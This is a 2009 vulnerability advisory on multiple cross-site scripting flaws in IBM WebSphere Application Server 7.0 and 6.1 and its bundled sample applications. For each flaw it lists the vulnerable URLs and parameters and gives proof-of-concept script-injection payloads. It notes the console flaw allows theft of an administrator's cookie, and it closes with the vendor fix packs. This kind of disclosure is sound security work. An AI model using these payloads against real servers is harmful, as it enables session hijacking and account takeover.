[DSECRG-09-013] IBM WebSphere Application Server 7.0 Multiple XSS Vulnerabilities
Digital Security Research Group [DSecRG] Advisory #DSECRG-09-013
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Application: IBM WebSphere Application Server
Versions Affected: 7.0 and 6.1
Vendor URL: http://www.ibm.com/websphere/
Bug: Multiple XSS Vulnerabilities
Exploits: YES
Reported: 01.11.2008
Vendor response: 02.11.2008
Solution: FP 6.1.0.23 and 7.0.0.3
Date of Public Advisory: 27.03.2009
Internal number DEFECT 566807
CVE-number: ..
Author: Digital Security Research Group [DSecRG] (research
[at] dsecrg [dot] com)
Description
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Multiple XSS Vulnerabilities found in:
WAS Core System:
1. Integrated Solutions Console XSS vulnerability.
WAS Samples:
2. PlantsByWebSphere Sample multiple XSS vulnerabilities.
3. JAX-WS Web Services MTOM Sample XSS vulnerability.
4. JAX-WS Web Services Ping and Echo Sample multiple XSS vulnerabilities.
5. Dynamic Query - Employee Finder Sample multiple XSS vulnerabilities.
6. Dynamic Query - EJB Data Mediator Service Sample XSS vulnerability.
7. Application Profile - Account Management Sample multiple XSS vulnerabilities.
8. Scheduler Account Report Sample multiple XSS vulnerabilities.
Details
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1. Integrated Solutions Console XSS vulnerability.
Attacker can inject XSS in URL string.
Example:
http://[server]/ibm/console/<script>alert('DSecRG_XSS')</script>
http://[server]/ibm/console/<script>alert('DSecRG_XSS')</script>.jsp
Using this vulnerability attacker can steal admin's cookie and then
authentificate as administrator.
2. PlantsByWebSphere Sample multiple XSS vulnerabilities.
2.1 Multiple linked XSS vulnerabilities.
Attacker can inject XSS in URL string.
Example:
http://[server]/PlantsByWebSphere/<IMG SRC="javascript:alert('DSecRG XSS')">
http://[server]/PlantsByWebSphere/<script>alert('DSecRG XSS')</script>.jsp
2.2 XSS vulnerability found in script /PlantsByWebSphere/servlet/AccountServlet
Attacker can inject XSS in parameter "userid".
Example:
http://[server]/PlantsByWebSphere/servlet/AccountServlet?action=login&updating=false&userid=<script>alert('DSecRG
XSS')</script>
2.3 Multiple XSS vulnerabilities found in script
/PlantsByWebSphere/servlet/ShoppingServlet
Vulnerable parameters:
"baddr1", "baddr2", "bcity", "bname", "bphone", "bstate",
"bzip", "category", "itemqty0", "itemqty1", "itemqty2",
"itemqty3", "itemqty4", "itemqty5", "itemqty6", "itemqty7",
"qty", "saddr1", "saddr2", "scity", "shippingMethod",
"sname", "sphone", "sstate", "szip".
Example:
bzip = <script>alert('DSecRG XSS')</script>
qty = <IMG SRC=javascript:alert('DSecRG_XSS')>
http://[server]/PlantsByWebSphere/servlet/ShoppingServlet?action=shopping&category=<script>alert('DSecRG
XSS')</script>
3. JAX-WS Web Services MTOM Sample XSS vulnerability.
Vulnerability found in script /wssamplemtom/demo
POST parameter "uridef".
Example:
uridef = "><script>alert('DSecRG XSS')</script>
4. JAX-WS Web Services Ping and Echo Sample multiple XSS vulnerabilities.
Vulnerabilities found in script /scriptwssamplesei/demo
POST parameters "msgstring" and "uri".
Example:
msgstring = </textarea><script>alert('DSecRG XSS')</script>
uri = "><script>alert('DSecRG XSS')</script>
5. Dynamic Query - Employee Finder Sample multiple XSS vulnerabilities.
Vulnerabilities found in script
/DynamicQuery/EmployeeFinderWeb/EmployeeFinder.jsp
Vulnerable parameters "query" and "rbindex".
Example:
query = --><script>alert('DSecRG XSS')</script>
rbindex = --><script>alert('DSecRG XSS')</script>
http://[server]/DynamicQuery/EmployeeFinderWeb/EmployeeFinder.jsp?query=</textarea><script>alert('DSecRG
XSS')</script>
6. Dynamic Query - EJB Data Mediator Service Sample XSS vulnerability.
Vulnerabilities found in script /DynamicQuery/EjbMediatorWeb/
POST parameter "query".
Example:
query = <script>alert('DSecRG XSS')</script>;'
7. Application Profile - Account Management Sample multiple XSS vulnerabilities.
Vulnerabilities found in script
/ApplicationProfileSample/servlet/AccountManagementServlet
Vulnerable parameters "accountNumberToBeCreated", "balance" and "minibalance".
Example:
http://[server]/ApplicationProfileSample/servlet/AccountManagementServlet?accountNumberToBeCreated=";><IMG/SRC=javascript:alert('DSecRG_XSS')>
http://[server]/ApplicationProfileSample/servlet/AccountManagementServlet?balance=";
STYLE="xss:expression(alert('DSecRG XSS'))
http://[server]/ApplicationProfileSample/servlet/AccountManagementServlet?minibalance=";><script>alert('DSecRG
XSS')</script>
8. Scheduler Account Report Sample multiple XSS vulnerabilities.
Vulnerabilities found in script /scheduler/accountreport
Vulnerable parameters "acctnum", "balance", "desc", "owner", "repeatint",
"repeats" and "startint".
Example:
acctnum = " STYLE="xss:expression(alert('DSecRG XSS'))
desc = "><IMG/SRC=javascript:alert('DSecRG_XSS')>
startint = "><script>alert('DSecRG XSS')</script>
Solution
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Download FP 6.1.0.23 and 7.0.0.3 from official site.
http://www-01.ibm.com/support/docview.wss?rs=180&uid=swg27004980
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